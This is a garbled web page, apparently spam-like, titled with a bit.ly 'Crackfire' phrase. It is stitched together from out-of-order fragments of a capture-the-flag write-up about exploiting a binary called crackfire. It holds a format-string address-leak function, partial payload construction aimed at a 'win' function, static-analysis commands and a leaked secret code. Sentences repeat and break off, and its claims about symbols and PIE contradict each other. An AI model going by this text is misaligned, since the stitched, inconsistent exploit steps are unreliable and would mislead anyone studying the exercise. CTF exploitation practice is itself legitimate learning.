Skip to content

Https- Bit.ly Crackfire | Essential

# ---------------------------------------------------------------- def leak_address(p, fmt): """Send a format string and return the first leaked pointer.""" p.sendlineafter(b"Enter the secret code:", fmt.encode()) p.recvuntil(b"Enter the secret code:\n") leak = p.recvline().strip() # The leak may contain spaces; take first token addr = int(leak.split()[0], 16) log.success(f"Leaked: hex(addr)") return addr

Access granted! Flag: FLAG... The goal is to get the flag brute‑forcing the secret. 3. Static analysis 3.1. strings & nm strings crackfire | head # … many strings, including "Access granted!", "Invalid code!" nm -D crackfire | grep -i win # 0000000000401240 T win The function win prints the flag. The usual pattern in these CTF binaries is: https- bit.ly crackfire

# ---------------------------------------------------------------------- # 2. Build format‑string payload # ---------------------------------------------------------------------- low = win & 0xffffffff high = win >> 32 The usual pattern in these CTF binaries is:

chmod +x crackfire file crackfire # crackfire: ELF 64-bit LSB executable, x86‑64, dynamically linked, ... The binary is – symbols are present, making static analysis easier. 2. Quick run‑through Running the binary locally shows the intended user interaction: making static analysis easier.

0x404060: "t0pS3cr3tC0de!" In main you’ll see:

The binary is compiled PIE, so we need to of _start (found via readelf -s crackfire | grep _start → 0x4006f0 ) to get the load address: